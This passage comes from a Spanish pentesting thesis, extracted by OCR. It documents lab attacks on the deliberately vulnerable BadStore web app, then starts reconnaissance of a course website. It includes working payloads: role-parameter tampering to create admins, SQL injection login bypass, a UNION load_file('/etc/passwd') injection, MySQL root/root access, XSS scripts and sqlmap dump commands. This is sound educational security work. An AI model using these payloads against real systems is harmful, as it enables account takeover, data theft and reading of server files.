badst... & 19..document html 4.33KB
200 GET bshea.. & 19..subdocu.. html 347B

@ 2requests 4.07KB/4.67KBtransferred Finish: 96 ms [

Headers Cookies Params | Response Timings

Sign Our Guestbook

View Previous Filter request parameters

Orders ~
Form data
About Us email: jaume
fullname: jaume
My Account J

passwd: jaume
pwdhint: green
Register: Register
role: U

Login / Regqister

- w
< i

<

llustracién 14 - Parametros de la peticién de registro

Podemos ver los campos que utiliza la URL para enviar los datos de creacion de usuario.
Prestamos atencion al ultimo de ellos, que es “role: U”. Esto es interesante, podemos
deducir que al crear un usuario le asigna por parametro el rol concreto en la web. Probamos
en crear un nuevo usuario mediante la URL utilizando estos parametros que hemos
encontrado.

URL:

http://192.168.1.43/cgi-bin/badstore.cgi?action=register&email=juan&fullname=juan&passwd
sjuan&pwdhint=green&Register=Register&role=U
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Introduciendo los parametros encontrados y utilizando el caracter “&” efectivamente nos
damos cuenta que podemos crear usuarios correctamente sin tener que usar el formulario.
Incluso podemos crear usuarios con permiso de administrador simplemente cambiando el
parametro “role=U" por “role=A".

Vamos a ver otro apartado de la web. Si entramos como usuarios sin registrar y vamos a
“My Account” podemos ver una pagina la cual nos permite resetear la contrasena de un
usuario. El problema que hay es que solo nos pide la cuenta de usuario (email) y un
“password hint” el cual solamente consta de seleccionar una de 6 opciones.

EE BadStore.net - My Accor X | +

« > C o () # 192.168.1.43/cqgi-bin/badstore.cgi?action=n « O N 0

£+ Most Visited @ Offensive Security € KaliLinux @) Kali Docs @ Kali Tools &) Exploit-DB »
[Welcome {Unregistered User} - Cart contains 0 items at $0.00 e View
Cart

Welcome, as an {Unregistered User} you can:

Home green
WAt Mo Login To Your Account/ Register for A New At Efie k Here
Sign Our Guestbook Reset A Forgotten Password red

- . Please enter the email addess and password hint you ct  orange account was created:
View Previous

L
Orders Email Address:| jaume =
About Us . " yellow

M Accinnt Password Hint - What's Your Favorite Color?:| purple v |

(The Password Hint was chosen when you registered for a new account as a security measure to help

Login / Register recover a forgotten password...)

- Suppliers Only - | Reset User Password |

llustracion 15 - Pagina de My Account para usuarios no registrados

Al hacer la prueba con la cuenta creada anteriormente e introduciendo un password hint que
no es el correspondiente (cuando creamos la cuenta pusimos “green”) nos resetea la
contrasefia igualmente, por lo tanto aqui tenemos un grave problema. La opcion de “doble
seguridad” del password hint no funciona absolutamente para nada.

Una vez reseteamos la contrasefia vemos un problema aun mas grave. La contrasena
reseteada que introduce por defecto es la misma siempre: “Welcome”. Esto se resume que
podemos cambiar la contrasefia de quien nosotros queramos, siempre que sepamos el
usuario.
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EE BadStore.net - ResetPa: X | =+

<) C @ ( 192.168.1.43/cgi-bin/badstore.cgi?action=moduser - @ 1y I\ e
£+ Most Visited @ Offensive Security @ Kali Linux @ Kali Docs € Kali Tools @ Exploit-DB »

BADSTORENET

ick Item Searck = ; =
il |Welcome {Unregistered User} - Cart contains 0 items at $0.00

The password for user: jaume
Home

What's New ...has been reset to: Welcome
Sign Our Guestbook

View Previous

Orders
BadStore v1.2.3s - Copyright @ 2004-2005

Ahout Us
llustracion 16 - Resultado de resetear la contrasena

Vamos a hacer una prueba a ver si podemos cambiar la contrasefia de una cuenta con
privilegios. Después de hacer varias pruebas he visto que el usuario principal es “admin” y
efectivamente hemos podido resetear la contrasena de este por la que pone por defecto
“Welcome”.

iE BadStore.net- ResetPa: X | 4+

&« = G o @ 192.168.1.43/cgi-bin/badstore.cgi?action=moduser s @ 1Y I
£+ Most Visited @ Offensive Security @ Kali Linux @ Kali Docs @ Kali Tools @& Exploit-DB »

BADSTORENET

>

Quick Item Search

lWelcome {Unregistered User} - Cart contains 0 items at $0.00

|-

The password for user: admin
Home

What's New ...has been reset to: Welcome

llustracién 17 - Reset de contrasena para el usuario admin

Ahora podemos entrar al portal como superuser y entrar al panel de administrador el cual
podemos visitar cambiando la URL por “action=admin”.
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EE Private Administration? X | +

& . = o [D&' 192.168.1.43/cgi-bin/badstore.cgi?action=admin v == & ﬁ-‘ N &

£+ Most Visited @ Offensive Security & Kali Linux & Kali Docs @ Kali Tools &) Exploit-DB »

BADSTORENET

Quick Item Search

lWeIcome Master System Administrator - Cart contains 0 items at $0.00

-

— Secret Administration Menu

What's New
siqn Our Guestbook Where do you want to be taken today?

View Previous

Orders | View Sales Reports v || Dol |

llustracion 18 - Panel de control como admin

Ahora podemos entrar a la pagina donde se muestran todos los usuarios con sus
contrasefas codificadas (las cuales podriamos decodificar sin ningun problema) y ver toda
su informacion, asi como las compras, reports, etc.

EE Private Administration® X | 4

&« = G @ (® 192.168.1.43/cgi-bin/badstore.cgi?action B - @ % I @ =
£+ Most Visited @ Offensive Security @ Kali Linux @ Kali Docs € Kali Tools @ Exploit-DB »
|ﬂEIJDIEIQSLI|J|JIIBI’.ODI‘I‘| |ZTDGJﬁethC4a04ET4JTaCJTUDE iGoue |green |L}\EI:H:|31I SUpprer |b 7Y
- Suppliers Only - [rav@spendercom  [Tid3cle438dcl 1a93d19616549d40701  [olue [Mary Spender [u
[sue@spendercom  [ea0520b14d3bdThId6ac40c3dE3dd500 [orange [sue spender [u
Supplier Login [cut@customercom  [0DF3DEFOEFIBEFLD49ES8194D26AE243 [green [curt wison [u
Supplier Contract  [paui@suppliercom  [EB7D34C06CDEE561557D7EFIBICODASC [red [Pawt Rice s
Supplier Procedures [kevin@spendercom | | [lxevin Richards [u
[van@badstore.net  [40COBBDC4AEEAA39166825FBB4TTEDE4 [pumle [Rvan Sharter [a
-R efemn i |stefan@supp|ier.i.>om |BEOFAAB363DBEE4DATTS T4AEEBDDAIZE [yellow [stetan Drege s
[andon@wholebiz  [29A4FBBFASEDAFIT0952AFCAI3355AEC [pumle [tandan Scott [u
BadStore.net Manual v1.2 [sam@customernet  [SEBE2204ECDOEQFIEEABTEI0D2AGEERY [red [sam Ranman [u
[david@customerory  [356779AJA1696714480F5TFA3FBEEDAC  [blue [David Myers [u
[ohn@customerorg  [EEEBGE9BOFE29B2DE3CT14B51CES4980 [green [John Stiber [u
[heinfich@supplierde  [Sf4dcc3b5aaTb5d61dB32TdebBE2cia9 [red [Heinrich Ha'gAsber s
[tommy@customernet | [Tf43cle438dc11a93d19616549d04b701  [orange [Tom OKetey u
| [376cd34d7d267a83caa95ca10dbecdd8  [green [ [u
| [376cd34d7d267aB3caad5calddbecdds  [green [ u
[juan [a94652aa97c7211baB954dd15a3ciB38 [green [luan [u
| [376cd34d7d267aB3caad5cal0dbecddE [areen [ (A
[adminuser [415cecT5c744bd3905126debbhTcifoE [areen [adminuser [A

llustracién 19 - Pagina de current users del panel de admin

Podemos observar el ultimo usuario de la lista “adminuser”, éste lo hemos creado mediante
la modificacién de la URL en vez de utilizar el formulario de registro. Podemos comprobar
que cambiando el parametro de rol si que funciona el darle permisos a los usuarios creados
y con este usuario también podriamos entrar a este menu de administradores.

28



Haciendo varias pruebas mas también me he dado cuenta que cualquier usuario (aunque
no sea administrador) puede entrar a la pagina principal del menu de admin.

ZE Private Administration P X | +

« > C © (@ & 192.168.1.43/cqi-bin/badstore.cgi?action=z e @ 3y N 60
£+ Most Visited @ Offensive Security @ Kali Linux &) Kali Docs @ Kali Tools &) Exploit-DB »

BADSTORE.NET

Quick Item Search

lWeIc-:)me juan - Cart contains 0 items at $0.00

@ ~ Secret Administration Menu

What's New
siqn Our Guestbook Where do you want to be taken today?

View Previous

Orders IBackupDatabases V|| Dolt |

llustracién 20 - Acceso al menu principal de admin como usuario

Vemos como estamos registrados como el usuario “juan” el cual no tiene permisos de
administrador, pero puede acceder a este apartado igualmente. De aqui no deja pasar, ya
que este usuario no tiene permisos de administrador, pero da una informacion critica sobre
cémo es el menu y qué operaciones es capaz de hacer el administrador.

EE Private Administration? X | +

)= C i (® 192.168.1.43/cgi-bin/badstore.cgi?action=adm o O i 0
4+ Most Visited @) Offensive Security @ Kali Linux € Kali Docs @) Kali Tools @ Exploit-DB »>

BADSTORE.NET

Quick Item Search

|Welcume juan - Cart contains 0 items at $0.00

=
e View
art

@ Secret Administration Portal

What's New

Sign Our Guestbook EFror - juan is not an Admin!

View Previous - : ; ] :
Orders Something weird happened - you tried to access the Adminstrative Portal, but you are

not an Administrative User.
About Us : g 2
You must login as an Admin to access this resource.

llustracion 21 - Error al intentar entrar como usuario no admin
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Otro punto importante a testear es el trafico que produce la pagina web y como trata los
paquetes. Para observar esto utilizaremos Wireshark (mas informacién sobre el programa
en el glosario).

Ejecutamos el programa y seleccionamos sobre qué interfaz de red queremos trabajar, en
mi caso selecciono “eth0” que es la que tiene conexidon con el resto de la red. Una vez
dentro de la interfaz como tal, vamos a poner un filtro para desechar el resto de paquetes de
la red que no nos interesan. El filtro como tal es: “ip.src == 192.168.1.44” ya que queremos

capturar el trafico que enviamos. Podemos empezar la busqueda y seguidamente hacemos
un login en la pagina web con un usuario.

*ethO @ ® O

File Edit View Go Capture Analyze 5Statistics Telephony Wireless Tools Help

l‘ ] f:' Ej [j] EEJ E;] Q @« = . J &= = :;; ;;; ® a @ j]i

(A [ip.src == 192.168.1.44 B0 ~| Expression..  +
No. Time Source Destination Protocol Length Info =
- 10.000000000 192.168.1.44 192.168.1.43 TCP 66 47364 —

7 2.479326184 192.168.1.44 192.168.1.43

Accept-Language: en-US,en;q=0.5\r\n 2
Accept-Encoding: gzip, deflate’r\n
Referer: http://192.168.1.43/cgi-bin/badstore.cgi?action=loginregisterir\n
Content-Type: application/x-www-form-urlencoded\rin

+ Content-Length: 34\r\n
Connection: keep-alivelr\n
Upgrade-Insecure-Requests: 1\r\n
\rin
[Full request URI: http://192.168.1.43/cgi-bin/badstore.cgi?action=login]
[HTTP request 1/2]
[Response in frame: 18]
[Next request in frame: 12]
File Data: 34 bytes

= HTML Form URL Encoded: application/x-www-form-urlencoded

» Form item: "email" = "juan"
» Form item: "passwd" = "juan"
¢+ Form item: "Login" = "Login"

llustracién 22 - Captura de paquetes con Wireshark

Vemos un paquete HTTP el cual tiene destino la IP de BadStore, lo abrimos y vemos algo
interesante en la parte de abajo del todo del paquete. Podemos ver la informacion del HTML
Form la cual no esta codificada, esta como texto plano. Esto es signo de que el trafico no
esta encriptado del todo y cualquiera que esté esnifando el trafico de la red puede obtener
los credenciales de la gente que quiera registrarse.

Vamos a seguir con el testeo de la pagina de login, ya que tiene campos para introducir
texto y eso siempre es un foco de atenciéon cuando se estan buscando vulnerabilidades.
Anteriormente en el apartado de reconocimiento vimos que la aplicacién web tiene una base
de datos MySQL y el puerto abierto. Ademas, en los forms para hacer login o registro
siempre hacen una conexion a una base de datos para comprobar y guardar la informacion
de los usuarios. Al saber que dispone de un MySQL podemos intentar explotar esta parte.
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Vamos a pasar un texto entre comillas simples simulando un campo de la base de datos y
ver qué ocurre. Texto introducido: ‘asdasdasdasd’.

EE BadStore.net - Register/ x | +

« ) => C @ & & 192.168.1.43/cqi-binfbadstore.cgi?action=lc @ 1y N @ =
£+ Most Visited @ Offensive Security @ Kali Linux @ Kali Docs @) Kali Tools @ Exploit-DB »

" Login to Your Account or Register for a New Account i
ome

What's New .
Login to Your Account

Sign Our Guestbook

: : Email Address:l 'asdasdasdasd'
View Previous [

Orders

Password:
About Us .
My Account | Login |

llustracion 23 - Introduccion de una consulta SQL

i 192.168.1.43/cgi-bin/ba: X | +

« = CG o (@ 192.168.1.43/cqgi-bin/badstore.cgi?action=login o @ 1y N D
43 Most Visited @ Offensive Security @ Kali Linux &) KaliDocs @ Kali Tools & Exploit-DB »>

Software error:

DBD: :mysql::st execute failed: You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'asdasdasdasd'' AND
passwd='d41d8cd98f00b20429800998ecTB427e" ' at at fusr/local/apache/cgi-bin/badstore.cgi line 1144,

For help, please send mail to the webmaster (root@bubba.bubba.com), giving this error message
and the time and date of the error.

llustracién 24 - Error de busqueda SQL

Con el error que recibimos podemos ver que hay una vulnerabilidad clara de SQLI, ya que el
formulario nos permite introducir consultas sin validacién alguna.

Cuando testeamos inyeccién SQL se pueden utilizar herramientas automaticas las cuales
introducen muchas consultas seguidas para ver si conseguimos la informacién deseada,
esto automatiza el proceso. También hay distintas listas de consultas creadas por ciertas

personas con varias formas de saltarse el acceso. Vamos a probar una de las mas tipicas.

Cadigo: admin’ or “1’="1
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EE BadStore.net - Register, X | +

(— - ¢ @ (® & 192.168.1.43/cgi-bin/badstore.cgi?action=l - @ W N
£+ Most Visited @ Offensive Security @ Kali Linux @ Kali Docs @) Kali Tools @ Exploit-DB »

BADSTORE.NET

Quick Item Search

[Welcome {Unregistered User} - Cart contains 0 items at $0.00 :-;"!View
art

Login to Your Account or Register for a New Account

Home

What's New .
Login to Your Account

Sign Our Guesthook

View Previous

Email Address: ' admin' or '1'="1

Orders .
Password: |

About Us L

My Account | Login |

llustracién 25 - Introduccion de SQLi en el login

Y efectivamente nos hemos saltado la comprobaciéon de credenciales y hemos entrado
como administrador del sistema sin ni siquiera introducir la contrasefia.

EE Welcome to BadStore.n: X | +

& = (D 192.168.1.43/cgi-bin/badstore.cgi?action=login - O in @
£+ Most Visited @) Offensive Security @ Kali Linux € Kali Docs ) Kali Tools @ Exploit-DB »

BADSTORE.NET

ick Item Search
QUK et SR |We|c0me Master System Administrator - Cart contains 0 items at $0.00

Welcome to BadStore.net!

Home

What's New

Sign Our Guestbook

View Previous
Orders

| 2 e e ks h
¥ T o A Y it
Wi Wl AR 3. B

llustracién 26 - Entrada por SQLi como admin

Igualmente vamos a hacer una sencilla prueba con la base de datos MySQL del servidor.
Consiste simplemente en intentar entrar con usuario y contrasefa. Podriamos utilizar un
programa de fuerza bruta para intentar averiguar el usuario y contrasefia de la base de
datos en cuestién como por ejemplo Metasploit mysql_login. Viendo la seguridad general
del sitio podemos hacer la prueba con el usuario root tipico.
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root@kali: ~ e ® 0

File Edit View Search Terminal Help
:~# mysql -h 192.168.1.43 -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 3903
Server version: 4.1.7-standard

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type "help;' or *\h' for help. Type "\c¢' to clear the current input statement.

MySQL [(none)]= show databases;

1l row in set (0.000 sec)

MySQL [(none)]> use badstoredb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [badstoredb]= show tables;

| acctdb
| itemdh

llustracion 27 - Conexién de la base de datos de BadStore

Bingo, hemos conectado perfectamente con el usuario “root” y contrasena “root”. Para ello
hemos utilizado los siguientes comandos:

Comando: mysql -h 192.168.1.43 -u root -p

Asimismo podemos ver toda la informacién de la base de datos de BadStore, una brecha de
seguridad enorme y critica.

MySQL [badstoredb]> select * from userdb;

| AAA Test User 098F6BCD4621D373CADE4EB32627B4F6 ack | Test User
| U
| admin 8 . 34c26781fedbde918eed ack | Master System Adm
ini ator | A
supplier.com 62072d95acb588c7ee9d6Talc6c85155 ree | Joe Supplier

| big@spender.com 9726255eec0B83aa56dc0449a21b33190 ; | Big Spender
u |

llustracion 28 - Ejemplo de visualizacion de la tabla de usuarios

Vamos a seguir analizando la pagina web en blusqueda de otras vulnerabilidades.
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Esta vez entramos en la pagina del guestbook, donde los clientes firman o ponen algun
comentario relacionado con la pagina. Una vez dentro vemos que consiste en un formulario
con varios campos de nombre, mail y el comentario como tal.

EE Welcome tothe BadStor X | +

_(— > @ @ () 192.168.1.43/cgi-bin/badstore.cgi?action=dog| - @ 1y In @O =
# Most Visited @) Offensive Security @ Kali Linux @& Kali Docs @ Kali Tools @ Exploit-DB »
[l iz Wednesday, February 18, 2004 at 11:41:0/: John Q. Public |gp@whitenouse.qov ~
About Us Let me know when the summer items are in.

My Account

Friday, February 20, 2004 at 14:05:22: Big Spender billg@microsoft.com

Login / Reqister

Where's the big ticket items?

- Suppliers Only - ]
Sunday, February 22, 2004 at 06:16:05: Evil Hacker sBn@haxor.com

Supplier Login : - ;
Supplier Contract You have no security! | can own your site in less than 2 minutes. Pay me

Supplier Procedures $100,000 US currency by the end of day Friday, or | will hack you offline and sell
the credit card numbers | found on your site. Send the money direct to my PayPal
account,

- Reference -

BadStore.net Manual v1.2 Monday, May 6, 2019 at 19:35:22: jaume jaume

Hola, jhe firmado el libro!

llustracién 29 - Prueba de firma del guestbook

Hacemos la prueba e introducimos un comentario como cualquier otro de los que existen.
Cabe destacar que a la hora de introducir el correo electrénico que nos piden, no hace
ninguna verificacién. Ahora vamos a jugar con los campos y a probar de introducir codigo.

= I

Eibs Sign our Guestbook!

What's New

. Please complete this form to sign our Guestbook. The emaiil field is not required, but
Sign Our Guesthook peips ys contact you io respond to your feedback. Thanks!

View Previous

Orders Your Name: | jaume '
About Us Email: | jaume
My Account Comments: [<b>iPryeba 3!</b>

Login / Reqgister

- Suppliers Only -

Supplier Login | Add Entry || Reset |

N e

llustracién 30 - Insercién de cédigo HTML en el guestbook
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- Reference -

BadStore net Manual v1.2 Monday, May 6, 2019 at 19:35:22: jaume jaume

Hola, jhe firmado el libro!

Monday, May 6, 2019 at 19:39:12: jaume jaume

jPrueba 2!

Monday, May 6, 2019 at 19:39:25: jaume jaume

jPrueba 2!

Monday, May 6, 2019 at 19:40:28: jaume jaume

jPrueba 3!
llustracién 31 - Resultado de la insercion de codigo HTML en el guestbook
Vemos que nos ejecuta el cédigo HTML sin problemas ya que nuestro texto ha salido en

negrita. Estamos ante una vulnerabilidad XSS y bastante importante. Vamos a probar ahora
a ver si podemos ejecutar codigo JavaScript.

View Previous

Orders YourName:| jaume l
About Us Email: | jaume ‘
My Account Comments: |<script=alert(document.domain)</scripts|

Login [/ Reqgister

N

- Suppliers Only -

Supplier Login [ Add Entry H Reset

llustracién 32 - Insercién de codigo JavaScript en el guestbook
Al aceptar la introduccion de cédigo HTML es muy probable que podamos ejecutar codigo

JavaScript en este formulario. Hacemos la prueba y afiadimos un script que simplemente
muestre una alerta con la direccion IP del dominio.

192.168.1.43

oK

llustracién 33 - Muestra del alert introducido por script
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Pasamos a otro apartado de la web que se ve a primera vista, el buscador. Vamos a
investigar un poco el funcionamiento de ésta, a ver si detectamos algo extrafio. Ejecutamos
una busqueda vacia, sin introducir nada.

EE BadStore.net- Search® X | +

€ [ (D 192.168.1.43/cgi-bin/badstore.cgi?searchquery - 09 W i o
£+ Most Visited @ Offensive Security € KaliLinux &) Kali Docs @ Kali Tools &) Exploit-DB »

BADSTORE.NET

Quick Item Search

lWeIcome {Unregistered User} - Cart contains 0 items at $0.00

- No items matched your search criteria:
ome

What's New S_ELECT itemnum, sdesc, Idesc, price FROM itemdb WHERE " IN
T (itemnum,sdesc,ldesc)

Sign Our Guesthook

View Previous
Orders BadStore v1.2.3s - Copyright @ 2004-2005

llustracién 34 - Error de busqueda vacia

Nos aparece un error de SQL el cual nos estda mostrando la busqueda que esta haciendo
donde “WHERE “” esta vacio y por eso no encuentra nada. Esto nos da una pista de la
vulnerabilidad que hay aqui. Por no hablar de que aparece la tabla “itemdb” y los campos.
Nos encontramos ante otro caso de SQL..

Vamos a intentar hacer una inyeccion de codigo para conseguir un archivo del directorio del
servidor. Introducimos en el cuadro de busqueda el siguiente codigo:

Codigo: “ UNION select null,null,null,load_file(/etc/passwa’)##

[Welcome {Unregistered User} - Cart contains 0 items at $0.00 < View
Cart

The following items matched your search criteria:

Home
What's New Add
Sign Our Guesthook ltemNum |ltem |Description Price Image Ct:r(
View Previous root::0:0:Trinux Root:f:/binfsh
Orders nobody:x:65534:65534:nobody:/tmp: |7
/bin/sh
About Us
My Account | Add Itemns to Cart || Reset |

llustracién 35 - Retorno del archivo passwd del servidor mediante SQLi
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Con este comando estamos haciendo una busqueda en SQL agregando otra busqueda,
dejando en blanco los tres primeros campos y cargando el contenido del archivo passwd en
el campo siguiente. Con esto tenemos las credenciales de la base de datos de root y con
ellos podriamos acceder y tener toda la informacién de todas las tablas y bases de datos.
También podemos conseguir la version de la base de datos con el siguiente comando:

Comando:  UNION select null,null,null,version()##

IUTCIbUIIIC IYINTYIWEI T WITH [ 7 bl L WL W LT D UL s T VIOV

Cart

The following items matched your search criteria:

Home

What's New |ItemNum |Item |Description| Price |Image |Ad|:| to Cart
Sign Our Guestbook | ‘ | ‘4.1.?—standard| |_ ‘
e Add [tems to Cart Reset

Orders

llustracién 36 - Versiéon de MySQL devuelta con SQLi

Ahora vamos a testear la URL de busqueda con una aplicacion llamada sglmap. Para ello
copiamos la direccion de busqueda de la pagina de BadStore:

URL:
http://192.168.1.43/cgi-bin/badstore.cgi?searchquery=&action=search&x=16&y=12

Seguidamente abrimos una terminal y ejecutamos sqlmap con el parametro que esta a
continuacion. La opcién “--dbs” la usamos para que muestre las bases de datos disponibles.

Comando:
sglmap -u “http://192.168.1.43/cgi-bin/badstore.cgi?searchquery=&action=search&x=16&y=12" --dbs

5
root @kali: ~ e ® O
File Edit View Search Terminal Help
:~# sqlmap -u "http://192.168.1.43/cgi-bin/badstore.cgi?searchquery=&action=se
arch&x=16&y=12" --dbs

_H_
—
I -1 - [§]

r: Usage of sqlmap for attacking targets without prior mutual consen
. It is the end u responsibility to obey all applicable local, state a
s. Develope 2 no liability and are not responsible for any misuse
or damage caused by this program

[*] starting @ 23:04:45 /2019-05-06/

llustracién 37 - Ejecucién de sqlmap con la URL de busqueda
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Wil ] unable to retrieve the number of databases

Tl ] falling back to current database
| [ ] fetching current database

available databases [1]:

[*] badstoredb

1 [ ] fetched data logged to text files under '/root/.sqlmap/output/192.

[#] ending @ 23:04:46 /2019-05-06/

llustracién 38 - Resultado de sqlmap con --dbs
Podemos ver en el resultado que nos ha encontrado la base de datos “badstoredb”. Ahora
que sabemos la base de datos pasamos a buscar las tablas que tiene, para ello utilizamos
la opcion -D para conectarnos a la base de datos y --tables para listar las tablas.
Comando:

sglmap -u “http://192.168.1.43/cgi-bin/badstore.cgi?searchquery=&action=search&x=16&y=12" -D
badstoredb --tables

badstoredb

] fetched data logged to text files under '/root/.sqlmap/output/192.168

[*] ending @ 23:20:51 /2019-85-06/

i~#

llustracion 39 - Resultado con las tablas de la DB

Database: badstoredb
Table: itemdb
[5 columns]

numeric
non-numeric
non-numeric
numeric
non-numeric

sqlmap/output/192.168

[*] ending @ 23:25:34 /2019-085-06/

~# |

llustracion 40 - Resultado con las columnas de la tabla

38



En la ultima imagen podemos ver que hemos conseguido todas las columnas de la tabla
itemdb. Se ha utilizado el siguiente codigo:

Comando:

sqlmap -u “http://192.168.1.43/cgi-bin/badstore.cgi?searchquery=&action=search&x=16&y=12" -D
badstoredb -T itemdb --columns

Con esta practica hemos conseguido practicamente todos los datos de la base de datos que
esta haciendo servir el servidor web.

Otro punto testeado ha sido el cuadro de busqueda en si. Al ser un input del usuario es
posible que sea susceptible a XSS, tal y como hemos visto anteriormente con las firmas del
guestbook. Vamos a probar con el siguiente payload: <h1>Vulnerable a XSS</h1>

BADSTORENET

Quick Item Search

[Welcume {Unregistered User} - Cart contains 0 items at $0.00

able a XSS</hl=>

. No items matched your search criteria:
ome

What's New SELECT itemnum, sdesc, Idesc, price FROM itemdb WHERE '

Sign Our Guesthook \fylnerable a XSS

View Previous
Orders "IN (itemnum,sdesc,ldesc)

ATt TTe

llustracion 41 - Vulnerabilidad XSS en el buscador

Introduciendo un simple cédigo HTML podemos ver que se ha ejecutado correctamente y ha
cambiado la pagina resultante. Incluso podemos introducir un script para ejecutar
JavaScript. Introducimos: <script>alert(“XSS”)</script>

llustracién 42 - Introduccién de JavaScript a través del buscador
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4.2. Caso practico - COWEB

En este caso de pentesting vamos a utilizar la pagina web que hemos creado en la
asignatura optativa de “Computacion orientada al web” o también llamada COWEB. Como
el otro caso practico, vamos a analizar tanto la pagina web como su estructura y se va a
detectar las distintas vulnerabilidades que existan.

La asignatura de COWEB consta de crear una pagina web con distintas funcionalidades que
se van afiadiendo a lo largo del semestre. Dicha pagina contiene scripts en JavaScript,
conexiones AJAX, conexiones a bases de datos, etc.

Cabe destacar que el objetivo de la asignatura no se centra en la seguridad de aplicaciones
y por lo tanto es posible que hayan varias vulnerabilidades tanto basicas como importantes.

Es un buen objetivo poder utilizar recursos creados en la carrera para su estudio y poder ver
los errores de programacion que se cometen y las vulnerabilidades que generan. Asimismo
vamos a solucionar dichos problemas y vulnerabilidades encontradas y a mostrar el cédigo
para poder evitarlas.
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4.2.1. Escenario

El escenario en este caso practico es muy parecido al anterior. Vamos a utilizar maquinas
virtuales para los testeos, concretamente dos.

La primera de ellas es un “Windows 10 x64” el cual contiene un servidor XAMPP. De este
servidor utilizamos Apache para alojar la pagina web y MySQL para alojar las bases de
datos.

Archive Maguina Ver Entrada Dispositives  Ayuda

KAMPP Control Panel v3.24 [ Compiled: Mar 7th 2019 ]
Fapelera de

il XAMPP Control Panel v3.2.4 & comto

ndules
Netstat
Service  Module PID{s} Port(s) Actions @ 2

5428
Apache Gy 80, 443 Stop. Admin Config B shel

MySQL 6068 3308 Admin Config __| Explorer

FileZilla Start Admin Config F_: Services

Sublime

Mercury Start Admin Config & Help

Tomcat Start Admin Config IJ_ Quit

L Escribe aqui para buscar

B (o 11 =8 £ @ 3] cTRL DERECHA

llustracion 43 - Maquina virtual de COWEB

Podemos observar en la captura de pantalla que esta vez ejecutamos el servidor con la IP
“192.168.1.45” y que tenemos ambos servicios ejecutandose.

La segunda maquina virtual contiene un Kali Linux la cual usaremos para realizar todo el

analisis. Podemos decir que las especificaciones y la maquina como tal es igual que la del
caso practico anterior.

41



4.2.2. Pentesting

Vamos a empezar la parte de pentesting para buscar vulnerabilidades dentro de la pagina
web, para ello empezamos por el reconocimiento. En la maquina virtual de Kali utilizamos
un comando para escanear la red interna y ver qué dispositivos hay conectados.

Comando: nmap -sP 192.168.1.0/24

root@kali: ~ e ® 0

File Edit View 5earch Terminal Help
:~# nmap -sP 192.168.1.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2019-86-14 12:25 CEST
Nmap scan report for 192.168.1.1
Host is up (©.00053s latency).
MAC Address: F8:BE:85:CE:EC:D3 (Comtrend)
Nmap scan report for 192.168.1.33
Host is up (©.00039s latency).
MAC Addr : 30:9C:23:8B:EE:F7 (Micro-star Intl)
Nmap scan report for 192.168.1.45
Host is up (©.00086s latency).
MAC Address: 08:00:27:DA:F5:EB (Oracle VirtualBox virtual NIC)
scan report for 192.168.1.44
is up.
done: 256 IP addresses (4 hosts up) scanned in 1.74 seconds

~# ||

llustracién 44 - nmap en Kali para explorar COWEB

Utilizando el comando anterior con la opcién “-sP” (hace un sondeo ping y so6lamente
determina si los dispositivos estan vivos o no) podemos observar que el objetivo esta en la
IP “192.168.1.45”. Al saber la IP objetivo, vamos a utilizar el comando sobre dicha IP con la
opcion “-sS” ya que nos dira que puertos hay abiertos.

Comando: nmap -sS 192.168.1.45

root@kali: ~ e e 0

File Edit View 5earch Terminal Help
:~# nmap -s5S 192.168.1.45
Starting Nmap 7.70 ( http /nmap.org ) at 2019-06-14 12:31 CEST
Nmap scan report for 192.168.1.45
Host is up (0.00033s5 latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
open http
open https
3306/tcp open mysql
MAC Address: 08:00:27:DA:F5:EB (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 4.64 seconds
i~# I

llustracién 45 - nmap para ver los puertos de COWEB

Mediante el comando vemos que tiene los puertos 80, 443 y 3306 abiertos. Ya tenemos
mas informacion sobre el objetivo y como punto a destacar vemos el puerto de mysql.
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Seguidamente realizamos otro escaneo pero esta vez sélamente de los puertos que hemos
encontrado abiertos, de esta forma hacemos menos ruido en la red. Utilizamos el parametro
“-sV” que sirve para detectar versiones, también usamos “-O” para ver el sistema operativo.

Comando: nmap -sV -O -p 80,443,3306 192.168.1.45

root@kali: ~ e e 0

File Edit View Search Terminal Help
:~# nmap -sV -0 -p 80,443,3306 192.168.1.45
Starting Nmap 7.7@ ( https://nmap.org ) at 2019-06-14 12:37 CEST
Nmap scan report for 192.168.1.45
Host is up (0.00027s5 latency).

PORT STATE SERVICE VERSION
open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1c PHP/7.3.6)
open ssl/http Apache httpd 2.4.39 ({(Win64) OpenSSL/1.1.1c PHP/7.3.6)
3306/tcp open mysql MariaDB (unauthorized)
MAC Addre ©8:00:27:DA:F5:EB (Oracle VirtualBox virtual NIC)
varnin can results may be unreliable because we could not find at least 1 open and
1 clo port
Device type: specialized|general purpo

es for host (test conditions non-ideal).
1 hop

0S and Service detection performed. Please report any incorrect results at https://nmap
.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 19.39 seconds

e I

llustracién 46 - Escaneo de puertos y version a COWEB
En la ilustracion podemos ver que se esta usando un servidor Apache y una base de datos
mysql MariaDB sobre un Windows. Con toda esta informacion disponible, podemos entrar

en la pagina web y empezar a testear.

Vamos a dar una vision general de la pagina web para ver como se ve.
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COWEB - Moxilla Firefox @ ® 0
[F] COWEB X =R
i(-—i- - C @ @ & 192.168.1.45/index.php - O W mw o =
#‘MostVisited @) Offensive Security @& Kali Linux @& Kali Docs @ Kali Tools & Exploit-DB »

Principal

Bienvenidos al buscador de hoteles NUMERO 1

Creado por Jaume C.

olores hoteles

Ta ta}liii con los hoteles mejor puntuados del mund
R [ Y f
ltpcallzaclon Puntuaciqn

llustracién 47 - Vista general de la pagina de COWEB

Podemos observar una pagina web sencilla, que pretende dar informacion al usuario. Lo
primero que llama la atencidn es la barra de navegacion del apartado superior. Vemos que
hay dos enlaces, uno a la pagina principal y otro a otra pagina de busqueda. Por otro lado
tenemos dos botones, uno de login y otro de registro. Es una buena idea empezar por este
apartado, ya que suele ser, junto a los formularios para introducir texto, una brecha de
vulnerabilidades y un buen vector de ataque.

[E] COWEB x|
| ¢ I @ & 192.168.1.45 - Q7 N @ =
